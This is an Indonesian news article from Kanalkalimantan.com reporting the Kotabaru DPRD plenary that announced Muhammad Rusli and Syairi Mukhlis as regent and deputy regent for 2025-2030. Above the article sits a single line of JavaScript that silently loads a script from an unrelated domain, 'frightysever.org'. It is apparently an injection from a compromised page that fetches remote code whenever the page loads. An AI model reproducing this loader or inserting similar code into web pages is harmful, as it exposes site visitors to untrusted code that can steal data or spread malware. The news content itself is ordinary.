(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kotabaru mengadakan rapat paripurna istimewa beragenda, pengumuman penetapan pasangan Bupati dan Wakil Bupati Kotabaru terpilih periode 2025-2030.
Rapat yang berlangsung di Ruang Paripurna, Lantai 3 Gedung DPRD, Senin (13/1/2025) itu juga berisi penyampaian akhir masa jabatan Bupati dan Wakil Bupati periode 2021-2025.
Rapat paripurna DPRD Kotabaru itu mengumumkan hasil rapat pleno KPU Kotabaru yang menetapkan H Muhammad Rusli dan Syairi Mukhlis sebagai Bupati dan Wakil Bupati Kotabaru terpilih dalam pilkada serentak 2024.
Ketua DPRD Kotabaru, Suwanti memimpin rapat bersama Wakil Ketua Chairil Anwar dan dihadiri anggota DPRD, Forkopimda, Penjabat Sekretaris Daerah Kotabaru, Asisten dan Staf Ahli Bupati, serta Kepala SKPD Lingkup Kotabaru.
Baca juga: Jadi ‘PR’ Baru Pemko Banjarbaru, Aturan Masuk ke Taman Van Der Pijl
Dalam kesempatan itu juga berhadir Bupati Kotabaru terpilih Muhammad Rusli.
Wakil Ketua DPRD Kotabaru Chairil Anwar menyampaikan, rapat paripurna sesuai ketentuan Undang Undang Nomor 23 Tahun 2014 tentang Pemerintahan Daerah dan pasal 79 ayat (1) berbunyi Pemberhentian Kepala Daerah atau Wakil Kepala Daerah.
Dan, sebagaimana dimaksud dalam pasal 78 ayat (1) huruf A dan huruf B serta ayat (2) huruf A dan huruf B diumumkan oleh Pimpinan DPRD dalam Rapat Paripurna dan diusulkan oleh Pimpinan DPRD kepada Presiden melalui Menteri serta kepada Menteri melalui Gubernur sebagai wakil Pemerintah Pusat untuk Bupati dan Wakil Bupati atau Wali Kota atau Wakil Walikota untuk mendapatkan Pemberhentian.
Baca juga: Pemkab Banjar Serahkan Bantuan untuk Korban Kebakaran di Astambul Seberang
Sesuai dengan tatib DPRD Kabupaten Kotabaru Nomor 10 Tahun 2024 pasal 36 DPRD mempunyai tugas dan wewenang Huruf (e) mengusulkan pengangkatan dan pemberhentian Bupati dan Wakil Bupati kepada Gubernur untuk mendapatkan pengesahan pengangkatan dan pemberhentian.
“Atas dasar tersebut, maka diumumkan kepada seluruh masyarakat Kabupaten Kotabaru melalui Rapat Paripurna DPRD Kabupaten Kotabaru hari Senin, tanggal 13 Januari 2025,” ujar dia.
Berdasar Berita Acara Komisi Pemilihan Umum Kabupaten Kotabaru No.005/PL.02.6-BA/6302/2025, tanggal 09 Januari 2024 tentang penetapan pasangan calon Bupati dan Wakil Bupati terpilih dalam Pemilihan Bupati dan Wakil Bupati Kotabaru Tahun 2024.
Baca juga: Kecolongan Truk Besar ‘Bebas’ Masuk Dalam Kota, Dishub Banjarmasin Baru Akan Beraksi
Menetapkan pasangan calon Bupati dan Wakil Bupati Nomor Urut 01, Muhammad Rusli dan Syairi Mukhlis sebagai calon Bupati dan Wakil Bupati terpilih dalam Pemilihan Bupati dan Wakil Bupati Kotabaru Tahun 2024. Dengan perolehan suara sebanyak 72.088. (Kanalkalimantan.com/dprdkotabaru/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, MARTAPURA - Turnamen Sepakbola Bawahan Selan Cup tahun 2025 secara resmi dibuka Bupati Banjar… Read More
KANALKALIMANTAN.COM, KOTABARU - Ketua DPRD Kabupaten Kotabaru, Suwanti mengunjungi rumah duka sekaligus memberikan penghormatan terakhir kepada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dugaan pelecehan seksual yang dialami seorang tenaga kesehatan (Nakes) perempuan salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru kembali memulai percepatan rencana pembangunan tiga proyek strategis… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tahapan sidang sengketa Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ketua Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) Mislena Marangkir… Read More
This website uses cookies.